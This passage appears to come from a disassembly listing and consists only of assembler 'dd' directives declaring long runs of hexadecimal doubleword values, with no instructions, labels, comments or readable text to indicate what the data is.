		dd 0B461D57Eh, 0CA80A4A7h, 6833851Dh, 1FBB8555h, 0A0CD4471h
		dd 0CE82463Eh, 99878CD6h, 990DFDD3h, 0D2A1374Ah, 0D31C3BA7h
		dd 0B9747E0Ah, 5E61701Ch, 0E51A82EBh, 23C1E77Fh, 9313C600h
		dd 0A4D2F3BDh, 7E3BC58Ah, 0D1331163h, 21742A10h, 0C36FF3CCh
		dd 6F1E459Dh, 912AA11Dh, 4C405AEEh, 98BED400h, 167DED52h
		dd 0ADC47F43h, 0BE1C9A09h, 48C05160h, 0A5893E2Ah, 4B9B7AB5h
		dd 26D54825h, 373008F2h, 5AE25CDAh, 45036AC2h, 0F1E62D7Bh
		dd 0E7FCDDAh, 0D755A90Bh, 0DB35056Fh, 0B19208A9h, 10297341h
		dd 16A69E82h, 86E9BD2Bh, 0FFB2D72Ch, 7B7F9EEEh,	62D80A3Bh
		dd 0D929871Fh, 0FC2C8668h, 46299311h, 94C02B60h, 5FC67ACFh
		dd 0C1E24B8Fh, 33A2AF50h, 0A36B350Ch, 8C0A9C07h, 49455586h
		dd 2F1BBB78h, 76246E80h, 67D7026Bh, 0E3099F01h,	8C2E853Fh
		dd 4A9B09B0h, 5108C8F3h, 789412Eh, 58792CB2h, 6FE3D81h
		dd 70D716BBh, 0C302C258h, 0AFD3ACAh, 4E823893h,	0D7C9D015h
		dd 69000880h, 66207A44h, 0CEB76DD3h, 7389C628h,	0B343640Fh
		dd 0CB408D15h, 4806CA2Eh, 0E53167AFh, 0D03683FFh, 0F1BED115h
		dd 46484117h, 8436AA99h, 92008B5Eh, 846F96E3h, 28EEB8D9h
		dd 0EE4ADB4Bh, 9C6D767Dh, 0A0F7D1C1h, 0E66AC969h, 996E1F56h
		dd 297545BAh, 0B97D4951h, 0E9D67724h, 2AB8F2CDh, 0A5B02E0Ah
		dd 83E7A7B1h, 5F091A35h, 40871A4Fh, 79EFE8FDh, 0D988934Ch
		dd 9FF2FEBh, 31567915h,	0C205CC2Bh, 9F66FEA6h, 77552BDFh
		dd 9E6E83F9h, 0F2D773B6h, 0F7A313C3h, 0C7B96A73h, 97D49CADh
		dd 0E72605F6h, 15A2E89Eh, 0DDFA119h, 3D28E5D4h,	3B7678D4h
		dd 0B131EE5Ah, 0A2F806E7h, 91563B6Dh, 0DB6BA628h, 0B196C007h
		dd 2B44AAA9h, 83083A4Ah, 4C126403h, 0D887406Bh,	975ED9ACh
		dd 0D80DD01Dh, 4A43041h, 0FBD0B4A4h, 0B8DA3AB7h, 0F24CC702h
		dd 88FCDE3Ah, 0FAC6DD2Ch, 1AB9ED74h, 76378CA5h,	25E4AE73h
		dd 12C269C8h, 9DC1122Dh, 25B69B51h, 581DAE54h, 59890D59h
		dd 6DE1289Bh, 33F714F3h, 0BB8DBA77h, 4C07F62h, 1D118794h
		dd 7E6B6B01h, 27E8F35Bh, 48C7E2Dh, 7732D941h, 0DA70FB13h
		dd 2D33BCDBh, 465DCFF4h, 8DC378CBh, 0CC65F24Fh,	6FADAA39h
		dd 4D7AC8D4h, 3AB9A3F4h, 0E6F2113Eh, 0F0F81369h, 41D2E217h
		dd 0ABDBD014h, 9BEBF3DEh, 2774E77Ah, 0FC66919Ch, 77D1CBCBh
		dd 0AC93AC16h, 432FBABCh, 0C834BA31h, 9442010h,	0C8F1FE37h
		dd 96BD947Dh, 0BACC50B9h, 3AFE734Eh, 7C41F828h,	1822E1C1h
		dd 0EE28FEAAh, 0B6E4A6AAh, 307F2D34h, 295AB3C8h, 1F8B9F05h
		dd 5860EA18h, 0B65122CCh, 83334BDBh, 0EA656BBEh, 1E21D663h
		dd 0DCB16926h, 0A2461C97h, 0C7D1BD2Fh, 5A06C3BAh, 2E01B5C1h
		dd 0E4626DCh, 73346595h, 0EBF410C7h, 0BEEE5882h, 4CCC4C9Eh
		dd 42D95CCBh, 14DD1D21h, 0EC3D5BFEh, 616B25BEh,	0F5149A67h
		dd 0EFF0050Bh, 7B23681Fh, 0EC3757B0h, 0F9CF0C1Ah, 44D65E01h
		dd 0AFFA142Ch, 9465C6ECh, 14CB48D3h, 33757A9Eh,	0D709A0F8h
		dd 0E562456Bh, 5B385D3Fh, 0F49AA825h, 184749FFh, 945D813Eh
		dd 0EF25621h, 0BDF97B43h, 0FFEB8BDAh, 0DF542316h, 0DCAACA40h
		dd 0D4928B73h, 0AED72EB7h, 755AE4AAh, 7357FE19h, 9ACD2F3Dh
		dd 307CEACh, 0C8D63900h, 0A2DC2741h, 35CA4D3Ch,	54EBFFA2h
		dd 0AF8A78E3h, 0E14A9F9Bh, 592A92DFh, 736C3201h, 77730BCDh
		dd 4232F036h, 0B3082742h, 27CBD150h, 0E42182F2h, 0F88AEFD0h
		dd 0DD8924Bh, 0DF223F91h, 190CAFFDh, 205FD295h,	2DC57744h
		dd 415F283Fh, 8042AF91h, 56388E93h, 0C3D5AF55h,	3014AE38h
		dd 0F81ABBD6h, 1496C9C4h, 0D9D58BEEh, 0C8BE3044h, 0F43674D9h
		dd 0CE58209h, 312394DEh, 7F05D41Ch, 7CE35A62h, 9FD33285h
		dd 0AE63D19Dh, 0B55B0A87h, 631478C5h, 0DCB9A7FDh, 6CE256AEh
		dd 0C05042F3h, 2CA6CFE3h, 2914C0BAh, 1F77188Bh,	0B76019Fh
		dd 9ACD930h, 0C8901907h, 0F601E9F1h, 0C79DE63Ah, 5928C6D9h
		dd 0B901710Fh, 0E4372413h, 0A77B6A4Dh, 0FAE07D8Eh, 30A72855h
		dd 8462AC5h, 0CD935D26h, 381A381Bh, 1A01B51Ch, 45E66701h
		dd 5DB0233Ah, 0AF48B2A9h, 69A20A65h, 865BE54Ah,	0DE88E402h
		dd 0A2103BF5h, 0C892F7F3h, 0D1EA77C2h, 3DE69BD6h, 2034C38h
		dd 218CF609h, 0F22F5C31h, 0C6D95F8h, 577269D4h,	0F031F925h
		dd 9C2C8EC3h, 8B5352FBh, 5F5F261Ah, 2297F0EDh, 0C6815C23h
		dd 2E4B09h, 0D714ECDDh,	0E3D4BBE0h, 0A1CEB3C8h,	9D5E0C08h
		dd 0D4C17313h, 99578028h, 58C975C4h, 0CA3BD894h, 6D97D7F0h
		dd 93726748h, 77829247h, 0CF233576h, 5C6C6B64h,	0AD801689h
		dd 78063148h, 0D691E926h, 2B005C5Dh, 80546580h,	0EBD13E9Eh
		dd 226E0AD6h, 0A26EE52Ch
		dd 5E1A276Dh, 8787F7Dh,	4357E60Ch, 0C8FCED2Eh, 86FF2789h
		dd 9CCFB679h, 8497004Ch, 3CD26223h, 9A580E1Ah, 6D1ACAFEh
		dd 83F7BF0Ch, 0B7F78814h, 3429421h, 3E06A234h, 8FBA2BFh
		dd 61F88BDEh, 86B54713h, 897A1A6Eh, 0E3EA4CCFh,	71AA880Ch
		dd 725EBD04h, 0F83BE364h, 55862D23h, 0DF03A0CDh, 161DB2Fh
		dd 0DED943F4h, 828784BCh, 2B9D5EE5h, 8BDAA925h,	36D74A0Fh
		dd 0B9A6FBE0h, 0C11EAF3Ch, 844BFC11h, 3757B06Ch, 0DCA9CAB3h
		dd 6309556Eh, 56FEC4DEh, 368634B9h, 95A5370Ah, 0A2AEE7C5h
		dd 0E5583892h, 45F41BE3h, 58B4903Eh, 696A595Bh,	839A092Ch
		dd 0B23B2CDEh, 0A94FFE5Eh, 904DB23Dh, 7B16A659h, 1D24060Eh
		dd 6321BC6Ch, 0A8CC050Eh, 0C94FB3D1h, 0A878D30Ch, 0F3D0DE5Bh
		dd 5F301C86h, 7FC127B5h, 9AB24740h, 65CCE048h, 0E43ABA08h
		dd 291BEB74h, 0E4F3903Eh, 0CDF3A260h, 0F8F1BEB6h, 0B8FEA587h
		dd 0C28B78FFh, 508FA85Dh, 0EAFAC3B7h, 0F557B305h, 71E05683h
		dd 66648F32h, 8409CCFDh, 0EA6AC645h, 0F558470h,	2A7A4700h
		dd 929415C3h, 0B5A74EF5h, 96F36E7Ch, 0EC6D1739h, 0E8E3F3ABh
		dd 48872121h, 0AC829BA2h, 0BC8F2608h, 0B6576DACh, 7606F44Fh
		dd 0B51DAA3Bh, 0FD390890h, 0F13E9B66h, 2683D1D2h, 5FA4E38Fh
		dd 0B46850BBh, 9BE86B12h, 91F4BC89h, 3C42DDA9h,	0C50E45BDh
		dd 0EF839B8h, 2C508D0Bh, 0D71042C8h, 78216877h,	17F3D18h
		dd 9D1A6EDDh, 382E2C6Dh, 2C6EB0C9h, 8831AA53h, 6839F8FCh
		dd 0C249796h, 0D49A6D54h, 0EBB1632Ch, 3355F293h, 0A54F7E4Eh
		dd 0F51D5C51h, 0A06116FAh, 0FADACC68h, 5483150Fh, 66DACCB8h
		dd 18510C28h, 2ADA1DD4h, 683A4D8h, 14D66EAAh, 511B6CB5h
		dd 0E38EAEA5h, 4AB49457h, 1F6EF21Dh, 95569B41h,	0B5378FB2h
		dd 5882908Fh, 38274330h, 33BCCFE1h, 84FE906Bh, 0D2467B6Ah
		dd 0D009EA2Ah, 31F705B6h, 324FDFF1h, 0C1478F5Ch, 19366FA7h
		dd 453E68A0h, 0B9958FE1h, 0D5AC7CBCh, 0DF30AC08h, 1566EE68h
		dd 37130276h, 39C93B13h, 2E25ED5Ah, 38B826FEh, 0BD730F8h
		dd 2F95F26Eh, 334922AAh, 8C473D10h, 0CE4AC64Ch,	0F4B702D2h
		dd 0A231A980h, 0AAFCDF5Dh, 215D9804h, 0A353E03Ch, 0DB1B702h
		dd 0A462857Ah, 858218E4h, 57F14E61h, 233ED68Bh,	0F85A3821h
		dd 204B2F5Bh, 4B82EA76h, 4149A812h, 8F43ED04h, 0E160BEA5h
		dd 15EDEA7Ah, 24A14C3h,	873BD5DAh, 7EE67B5Ah, 0E2BDC08Ch
		dd 9B3BB1B8h, 0A3C51E0Dh, 0D46CD594h, 0FB7D0D40h, 36763F71h
		dd 2FC35753h, 0E3DF4C70h, 0FB4E7AA1h, 0EBDEB9D2h, 1F601C8Bh
		dd 8CDA673Eh, 0F884F239h, 0F44F2690h, 51BB92B1h, 117F0772h
		dd 91A78301h, 0BB9C110Dh, 79C1015Ah, 2106E690h,	3137F4F9h
		dd 4E2715DEh, 4250FFB1h, 956CEF11h, 6BF966A3h, 3EF4FF26h
		dd 0C79A4625h, 581E7788h, 0CA8FC343h, 27C3117Eh, 74B11502h
		dd 76DD76D0h, 0D412018Dh, 0AB7C9A26h, 9593DEB4h, 664AC1E0h
		dd 917B0603h, 6662B27Dh, 71D0073Ah, 41546D52h, 1B80D71Eh
		dd 6A9C57D2h, 2C95A463h, 813D6D3Fh, 54CCF00h, 0DD6CDB5Dh
		dd 0A9C5B609h, 0D6D31364h, 82153D7Bh, 0AC0E3D18h, 82657C2Eh
		dd 41067991h, 0E73DD51h, 6D06E28Ch, 0E03014D0h,	0E450EC03h
		dd 3FB5C8B2h, 60A5D71Ch, 0AE7D6E2h, 23F9A4E7h, 0E6F5E937h
		dd 2D5FED7Dh, 2652BB94h, 0D5AC779Ah, 61116EDh, 0B92CA5C4h
		dd 0F1C78CEAh, 0A90F96B8h, 680EA955h, 0F96D7915h, 0EA52202Eh
		dd 3AE47029h, 7CF8CA22h, 0D5A2BE95h, 369350A0h,	0E10813F1h
		dd 5033861Ch, 69C9AA6Fh, 0C5D45B9Ch, 210DC721h,	2F2078E4h
		dd 0BF900D5Eh, 51F194B9h, 0C732A259h, 0AD5BCF38h, 0D88F2C93h
		dd 0FF63E840h, 6D770386h, 0BE02E551h, 8EA1D515h, 99DFD644h
		dd 5FC40840h, 2672515Dh, 0CFC8BEh, 0CE503150h, 2E40B71Eh
		dd 435F2FC3h, 0D8F19A6Ch, 32C55FC3h, 6646546Fh,	0E1F7215Dh
		dd 0F1829A80h, 0FB6A6078h, 643BFB58h, 0ADCA8BA3h, 4685EC4Dh
		dd 2DD0A9D6h, 0D33050F7h, 0ABAD55E0h, 1EE828ADh, 5BC16535h
		dd 83536966h, 9590D64Fh, 21BACB2h, 0C00D9548h, 7B9B2655h
		dd 44BD886Fh, 4C9711E6h, 4E775D08h, 0EAC5FFBBh,	57108F49h
		dd 0A4450DEBh, 96215BE7h, 0E98A4C4Ah, 555972E0h, 2940A208h
		dd 5EF19E75h, 0DB9EA4AEh, 9400141Eh, 7287B4F9h,	8E0A4C0Ch
		dd 63CA7E82h, 0FEAE9FC8h, 0CAB51374h, 0FB01790Ah, 0E44FC49Ch
		dd 0A042F546h, 4AED16C0h, 3C486402h, 0F3B26EF5h, 7F2B5E34h
		dd 6BCF50FBh, 6FA5F952h, 0A7B30A3Fh, 8B90F450h,	0B845CE1Ah
		dd 0BCBF50FBh, 0A12F88BDh, 282D27C4h, 9DE0FF19h, 9CA44D54h
		dd 0C9B09581h, 4051F378h, 0AB12111Eh, 91B4550Dh, 0E8C776CFh
		dd 0E53032D8h, 37A3995Ah, 28A68BBCh, 2250A881h,	0BD3CC9C5h
		dd 0B756BD82h, 64DCDE78h, 1FE051B6h, 8848C51Fh,	0E259A5E1h
		dd 46C60D55h, 297877B7h, 0E54D95ECh, 31F12CF4h,	832B21E2h
		dd 81BCF18Eh, 37EBFFCBh, 0DF537443h, 0F76E4788h, 22B362D3h
		dd 84996589h, 8B8E4E39h, 3AA3771Eh, 0DBF9CC8Eh,	60604A1Dh
		dd 0C9432CB7h, 0B59CF8B7h, 0D2FF797Bh, 0E6F8F596h, 5A2C737h
		dd 2A782B7Ah, 84177A80h, 1EEE35BEh, 5D8106F2h, 5B3B4F81h
		dd 0C66F175Ah, 0D462F92h, 5F65F4ADh, 0D74CBC49h, 71E0528Eh
		dd 0AB6AB6D3h, 0B48E103Fh, 0C3D3F885h, 6DDFA626h, 0B36C4119h
		dd 0C7C5D716h, 0EA8FB507h, 76AC72Ah, 4D5ED82Bh,	8139C674h
		dd 874D364Dh, 232792F2h, 6245DD11h, 0C5739360h,	0DF76176h
		dd 22E51695h, 0DFEE71C4h, 7339278Bh, 0FC057ECDh, 100C1614h
		dd 1D1C6345h, 345F33CDh, 0B2384232h, 4792C5A7h,	43E947DAh
		dd 226E1FB3h, 0CE1B70C1h, 19550532h, 0A5C5C709h, 0E2E300E1h
		dd 0D61A0A57h, 6BDBDBB8h, 22E43E11h, 0A683C55Bh, 7091F6D7h
		dd 811C2F11h, 7B578Ah, 0AED590C5h, 12A7CF00h, 0B52A104h
		dd 915FB2BBh, 35701408h, 0B6948437h, 0B9F44DCAh, 1961EDFCh
		dd 0A69E2EB3h, 0E41E2F7h, 0A57B4B14h, 34646DADh, 0B4A50522h
		dd 0ABD5AF48h, 8E869300h, 7BFEA484h, 1E33C86h, 36CDFD94h
		dd 10B80914h, 963C8EDDh, 0FFC4C433h, 0E73758B7h, 6CFD93Eh
		dd 38CE7AD7h, 497ED4CCh, 5A02B215h, 727BDEE2h, 0D246A8BCh
		dd 9CD29449h, 0FAF963DEh, 0DDCA493Ah, 1CCDB5AFh, 0D1132B16h
		dd 0BD0B7C3Dh, 15A84291h, 64C59ED8h, 889502E7h,	3C6291AEh
		dd 48706909h, 3B5553FEh, 0C53C0BF5h, 0D82D848Eh, 0B490A8BFh
		dd 0BE4079B9h, 31CAC8CCh, 524DC051h, 8A2398F0h,	0DFE1429Eh
		dd 239AF900h, 1A2545A8h, 7C215E48h, 509BFB87h, 2606F0DFh
		dd 60E573C8h, 3F3EDC27h, 72ECF9FFh, 7ADD36F6h, 5A82CB05h
		dd 9034BDF8h, 2A1DFD6Dh, 5547EBA7h, 8EA0FDE9h, 0EAD8DE98h
		dd 7B2BFA64h, 57A76F7h,	6A5135F5h, 39CE845Fh, 857C1266h
		dd 3D5C3927h, 0A239DCCAh, 3C7905Bh, 8EFB4247h, 38E18F41h
		dd 0DB9B492Dh, 1C6AB809h, 6120D089h, 0DB59E96h,	0B0239899h
		dd 43A80F3Ah, 0A7975F02h, 0DC7B8FFBh, 0ACBE5DA8h, 52B1446Bh
		dd 93810206h, 88D27038h, 99DACCE3h, 2AE8B410h, 317BBE33h
		dd 2EBBC201h, 0DB1300F3h, 0E5A2DFE8h, 0C51C41C5h, 0DBB1C992h
		dd 81D8CF5h, 0C1EDD6F3h, 7BE2C053h, 0C78AD84Ah,	0E7EAD140h
		dd 0AE8C124Ah, 953EC129h, 0F16FAF42h, 39D68B0Dh, 836C465Dh
		dd 5EEC1C7Ah, 44FE4B29h, 0CB2E996h, 232439C2h, 0E809CF25h
		dd 72A00AE9h, 1C246671h
		dd 0FE3DA37Ch, 0FBED2F8Ah, 0B0517E37h, 362DC471h, 38295CC6h
		dd 0CD68B952h, 0E2534A73h, 42A9C2CAh, 4D45E506h, 0CBE1C633h
		dd 0BEFD6F84h, 8C74585Ch, 6E247211h, 733A8F49h,	0DA4ECE1Dh
		dd 0A9D4C5BBh, 0FC2E3365h, 0A86827EAh, 1E3AE741h, 0D995DD47h
		dd 0A5F7C0A3h, 0FC2826B8h, 3CA7539Bh, 7AEB33ACh, 77C16DA3h
		dd 0CEE275EFh, 4C43CD4Eh, 325F0974h, 1B0F6B3Fh,	0FC1EF0A6h
		dd 0F2EF74D3h, 0BCDFAD8Dh, 0AABB3C2Ah, 2F6F915h, 2A94244Ch
		dd 513ED146h, 0B74C2709h, 0CDB32615h, 0A87A39D6h, 0D4050C5Dh
		dd 71615B6Ch, 0B17E6695h, 0CCF7DC57h, 0B8FA19A5h, 49D7CA52h
		dd 8FDCC47Bh, 13A2D7DEh, 865B345Fh, 0AD5D0649h,	688FF5A1h
		dd 1351E9C1h, 0EF407E0Bh, 122D016Eh, 69CDE87Fh,	0FD841A88h
		dd 0EF3FBD76h, 0C46499A4h, 795C69F8h, 244DFB34h, 13A922C1h
		dd 0D9ECB9CBh, 0BAB22405h, 0F32E6892h, 0B2BA5B35h, 0B25CD229h
		dd 0BE7D8CBh, 8F4B4237h, 0B0AF21EAh, 69FCF159h,	0FA47F10Ch
		dd 7EEC2496h, 8C1CDB4h,	84529CA0h, 0C5F7A0B5h, 0E63895DEh
		dd 0F3BDCA6Fh, 4903A835h, 0C622619Ch, 0FFACB98Fh, 41E61402h
		dd 94EBA6A7h, 0E2AA08DCh, 0AA209A1Eh, 0FE6C4C7Bh, 5B9B8BC7h
		dd 5E84A0F9h, 38D0B4B3h, 97B371A5h, 3DA109D0h, 19F23960h
		dd 301A618Fh, 33D27DD9h, 6528099Dh, 73550139h, 830F36CEh
		dd 69220FE3h, 0AABE8816h, 0D474ABF6h, 0BAAC6120h, 10266653h
		dd 0F3F2EADBh, 131F1214h, 67D0415h, 0E9F0AA35h,	76D37A5Ah
		dd 360050FDh, 13C880A5h, 0D596DFE1h, 9FA8908Fh,	15477CCAh
		dd 0E65A0055h, 4EF8CBA5h, 3446C32h, 0F05064BCh,	700EF1F8h
		dd 0FA97EC53h, 5B0CE724h, 35BB1B03h, 0A2A65B2Ch, 17CB4F38h
		dd 24C0DAD2h, 7811FD90h, 88984889h, 0BA8885h, 0ADDEFA93h
		dd 0E31CD85Ah, 0C2E3AA19h, 0E6006593h, 890BD052h, 0E5C8330Bh
		dd 2E1181E6h, 0B3FEA616h, 6EE3232Eh, 4D924CF6h,	40D21899h
		dd 326DB3BAh, 57D90CF1h, 7633B72Bh, 621427AAh, 0BADC1A60h
		dd 0F17AF7EFh, 0C6610E2Eh, 5BD4D418h, 6BAEA2BAh, 2765085Ah
		dd 303EAB40h, 0D14D12B1h, 5E3243EAh, 865BD694h,	7CF58B0Fh
		dd 0DF57B98Eh, 4996718Eh, 0A0704307h, 8D627F1Eh, 0D862FAA8h
		dd 5F988A1Ah, 5B9C8D0Ah, 0A5F280Eh, 6DCA9CD6h, 4FDE8181h
		dd 0AB45A862h, 0AD43A0EAh, 7DDD58BCh, 14B9873Eh, 6E0A275Fh
		dd 7C58299Eh, 54976AA6h, 7F3E813Bh, 86332A6Ch, 0BF00226h
		dd 50416ACBh, 0D87C94ECh, 1C741E13h, 0C4C91D5Bh, 251998F7h
		dd 2A31070Dh, 8303CC60h, 60785085h, 8D17A11Eh, 6BE03754h
		dd 249E164Eh, 0BAA3D805h, 0D222CCD8h, 17C24BDFh, 26433573h
		dd 9DE19BAFh, 8A94D0FEh, 8E2641AAh, 0EA4B4262h,	921054F5h
		dd 9D63AFA0h, 0EC75B37Eh, 4C06C42Eh, 2FA87874h,	9411C85Fh
		dd 0C67B9432h, 0BA909EB0h, 0CF54650Fh, 8FB78E66h, 78533D9Ch
		dd 0E8656A08h, 5679E4D6h, 0E21A6658h, 0C5CFC551h, 1324EE72h
		dd 10AEA854h, 67FAE357h, 223A2C5h, 85920460h, 0A475E1E2h
		dd 75CED69Bh, 4FF37AC0h, 5F111BFFh, 94C206B2h, 2010F6C6h
		dd 531D59F1h, 3FD12908h, 418DA5F6h, 0E9565803h,	0DAAA2CE3h
		dd 3F562FF5h, 29E1B75Ch, 0B04B6CAFh, 73F3B8D0h,	8FA5A411h
		dd 427A3068h, 973D936Fh, 518539C0h, 0D8247B6Eh,	19CB5CC2h
		dd 2AD17AE0h, 1E3F0BA3h, 0AE7BF92Eh, 8D2E0014h,	684561A2h
		dd 659E4F68h, 70AAAEA8h, 93DE5F7h, 0A451702Bh, 740A8911h
		dd 0BB02C159h, 0B0F661CBh, 790AF061h, 267D8BBFh, 1DA52584h
		dd 7A568BA3h, 2D9650B6h, 2E2F847Dh, 0DE530D8Fh,	6BF7EBDCh
		dd 93ECB9AFh, 8D4B4217h, 0EDDD40F7h, 0A614DF1Fh, 0B5B45177h
		dd 0C07B6D49h, 82B360F4h, 0BD14911Fh, 1DADC289h, 105D0053h
		dd 329A70F4h, 2E0DB592h, 5FE8B6D6h, 8926A16Ah, 59C1C6Ah
		dd 10A3672Ah, 7CB20D95h, 67E04Dh, 180C1067h, 0B3520DADh
		dd 0CC4C5FC4h, 0A154F93Bh, 908672Ah, 6D11A53Eh,	322091E8h
		dd 0C538E958h, 0AECC030Bh, 9EE869FEh, 9B5DAF8Ah, 0C2A659E5h
		dd 0CF5C7305h, 0E4D448FCh, 7455722Ah, 15711B61h, 7AAB9AD6h
		dd 0FDADBC84h, 94DD03EFh, 37727B7Ah, 86C1E101h,	959B58AAh
		dd 36B3C0DAh, 0DA21AA29h, 0B5DE261h, 0B6F1B924h, 0A2DECA57h
		dd 1FBC4ADEh, 5A5DC6A1h, 0F9E018DEh, 991E6FA8h,	0D1D296D7h
		dd 8618D047h, 0C27EE9h,	9CAA2E1Bh, 0D237E34Ch, 30D0A1D5h
		dd 1FBEC305h, 5E0E334Dh, 0AFC15C19h, 0BD92278Ah, 16BC2BECh
		dd 1183A448h, 5E295398h, 8F2E9811h, 63213E9Bh, 99166E17h
		dd 888B400Bh, 4DF6CFCFh, 0BC7A7456h, 0A07A09C2h, 0EFD5D3DBh
		dd 2527875Ah, 0E1BE6B41h, 7C5A05Eh, 0CDC5D6A6h,	0D3A3789Fh
		dd 3FAE8EE3h, 8197D782h, 6B20E36h, 0D3BFF6D5h, 30CE1C2Fh
		dd 73A576C6h, 0D22E517Fh, 2FF8CA80h, 9E88BEB2h,	24FF384Bh
		dd 81565302h, 79F81A78h, 8BD06F8Ah, 0EF5C8CA9h,	7ADB6841h
		dd 79B6EBBBh, 7FEB029Fh, 47D7CA3Fh, 0C66E3B88h,	3B7B276Dh
		dd 0FE490830h, 0DF747FF4h, 0C259F03Bh, 13074B55h, 0F6997D6Dh
		dd 9E43054Ch, 0CB01CB93h, 0F422E581h, 40A5F9A6h, 2AD13756h
		dd 5F8F6266h, 685A8670h, 16E5C17Dh, 24FFFF0Fh, 0A0BE3BF8h
		dd 5EC10F6Bh, 791E2627h, 27994BD0h, 7D799EFEh, 72F1E1E8h
		dd 7ABBD7DCh, 2AE7605h,	0F3EE37AAh, 96036B16h, 0F3712375h
		dd 12AFE8DBh, 0B047177Bh, 6D285DCEh, 9E701738h,	575B1238h
		dd 363DF5E1h, 3CD2317Fh, 0D44F678Dh, 0AF561956h, 4ED887D3h
		dd 0B48709A4h, 53FC67C5h, 0F2B5122Ah, 0AF0B2B6Eh, 7FC78B3Fh
		dd 5A8CD181h, 344F4078h, 1B1CB2AAh, 67DB03AFh, 5E76CFADh
		dd 553ABF31h, 632FC61Dh, 0B3691AAFh, 0B2A6BEB2h, 0ABEFB8BEh
		dd 0F21FC984h, 0FF96659Ch, 76124083h, 1874C859h, 0BD697211h
		dd 5B53AB8Bh, 7FA08514h, 0AEBC28C2h, 0D3EAFF84h, 1FFF0AFh
		dd 0A74325E0h, 35DF7D7Ch, 7BFC51Bh, 0D7B61875h,	9CC76BD1h
		dd 6AA90109h, 6D3AF8FFh, 0DB591AA0h, 913B01Bh, 91A55E63h
		dd 0C3C3AA3Bh, 0FD8E325h, 8DDEE397h, 31776251h,	76F0E978h
		dd 0A2978FE5h, 0E1857CB1h, 1A846F21h, 93FF329Ah, 3790648Ch
		dd 7D2C8718h, 58A9591Ah, 0B3780370h, 424DB968h,	0F1C7A1E8h
		dd 54971789h, 0F8153666h, 0E20D053Bh, 9D1C4358h, 0B42904Bh
		dd 1F57708Bh, 48C96B25h, 0C2D231EBh, 83091699h,	938B10D2h
		dd 10A3A54Fh, 81F6FAE2h, 0AA188743h, 0F36C35ECh, 71579345h
		dd 0E5046A9Ch, 0FBBE0A56h, 1EE4414Ah, 0DEAA992Bh, 0F08E3715h
		dd 0DCF3673Fh, 77F694A4h, 0EE1E71B0h, 326B08FAh, 0E1AC1380h
		dd 0DDFBA25h, 0A903E081h, 0C5A4C568h, 3D74030Fh, 396820D5h
		dd 61A421FAh, 810257CAh, 0F570285Eh, 0A04952Dh,	0C0263A86h
		dd 7AFC0082h, 0CEFB390Fh, 84170B5h, 0D33F0DC0h,	5331CBF0h
		dd 941994E1h, 9FDED48Ch, 0CDAAE6F9h, 0D59D2701h, 699B0DB0h
		dd 0A45D8DDh, 4F8E1569h, 0AF6A5CC4h, 95D45500h,	5D6B7061h
		dd 0A71BAA0Bh, 0FF4F104Bh, 1534E4B6h, 0F087811Dh, 0ED5B47Ah
		dd 0F2F96C44h, 628E818Ch, 686D3FE9h, 0F45CE509h, 36A48BB7h
		dd 0A0983E11h, 0D731780Ah, 6F57354Fh, 36CFAB22h, 0E10CCC5Fh
		dd 0F6828B30h, 0A069B199h, 4F57C42Ah, 29D3B29Bh, 0A214FFB5h
		dd 2329A107h, 9C5AF726h, 0BD44AB94h, 0B4240380h, 0ABB62A61h
		dd 6FB82927h, 785EB183h, 3A05E08Ah, 0DF20F543h,	2A1711F5h
		dd 0C1C5113h, 0B5FDEBABh
		dd 0C2784087h, 0F42EE7EFh, 0B0DC195Fh, 0CB4D3614h, 0C81409E2h
		dd 0E82334D1h, 16ED7FB0h, 86096899h, 6372F191h,	100F9EE9h
		dd 39468CAEh, 5AEB1DFCh, 0B1D167D5h, 9BE9B2D2h,	30B868E1h
		dd 9BF50E8h, 0F63F706Ch, 5932144Ch, 0F4C3512Bh,	0E9499880h
		dd 85BE443Ch, 173A4780h, 0BE89FA2Dh, 8288EC4Ch,	1DC55E31h
		dd 83E3948Dh, 2D9C5426h, 530C4672h, 29B35C7Ah, 69CF0EC8h
		dd 0FC026F6Bh, 7A8CED3Fh, 7E002682h, 3FCCFAACh,	5114A8B3h
		dd 0CE70EB5Ah, 0DB5C4A0Bh, 0B93682EBh, 6A7494FEh, 159D6C0Dh
		dd 0FEF0402Ch, 807762C0h, 0A94743D1h, 863334A2h, 792549B1h
		dd 1C8E8DA9h, 95203664h, 0F359877Dh, 367DF8FBh,	4CCC1E35h
		dd 64F057D6h, 0E5C1D264h, 0D3D8C328h, 0B56E5E5Eh, 0B34E972Eh
		dd 84BB9057h, 800C1BC0h, 0F480DB53h, 4A3E3464h,	37F3B210h
		dd 0ACD95E25h, 383C8D84h, 74E9C847h, 175C984Fh,	1131D8E9h
		dd 2C4BB25Ah, 4BDDA8Bh,	0E80DCD79h, 985505Dh, 2F3A427h
		dd 461A795Bh, 0F5E9AE6Eh, 786D7E79h, 34DF56E2h,	0D8486D02h
		dd 8CC49851h, 9F3CC4A3h, 3B05DE7Fh, 85A356E7h, 0B427437Ah
		dd 34EE294Fh, 0F5534CF2h, 8FD7C0A5h, 0A92D2336h, 96793D0Eh
		dd 119A5F2Fh, 0CD19678Ah, 0B5EE1345h, 48370EA8h, 0B2ECD375h
		dd 320AD800h, 658AE6AEh, 7D24BA7Eh, 34C437DAh, 373A7338h
		dd 6F75D5C4h, 1EC82C65h, 8603D5D9h, 0A8647E2Ch,	1E5B8F81h
		dd 86B59F62h, 493CE78Bh, 8720ED48h, 3D367AB5h, 0A32F852Dh
		dd 0C148FC87h, 84AA2D65h, 99827E3h, 9926C87Fh, 4AF1C904h
		dd 26695071h, 26A77C4Ah, 0CA374E86h, 51941B59h,	26EA51ADh
		dd 80BECD7Fh, 6BC5FB35h, 16656FFFh, 1212432Dh, 7B24E866h
		dd 0FC09A0EBh, 0E8D59E84h, 0AAACCB33h, 0F021D4F9h, 8AD319BFh
		dd 0E9C37ED9h, 569A280Eh, 0B899F2AEh, 68EBDE2Fh, 817FFC72h
		dd 0D221D23Ah, 57D789F6h, 59B5F030h, 0FCFF44E6h, 7716A22Ch
		dd 995340EFh, 5B942A56h, 3665DFA0h, 0BE16D0A3h,	32BECD2Ch
		dd 0DF1E4FBFh, 0E7EFD011h, 0E30AA127h, 79CDA55Eh, 0F55D803h
		dd 3F22F02Ch, 80B6DD4Bh, 4131AD1Dh, 85F93803h, 53690B54h
		dd 0F87F85EBh, 0DF6B1EE9h, 2BBB8B77h, 518AE3BFh, 0E450CA05h
		dd 0D5E36F40h, 0E21832CBh, 850B76D5h, 0B3584601h, 4231C62h
		dd 0BB5E09C9h, 5F79EA23h, 6DAEB53Fh, 23836C6h, 0D7B13AFh
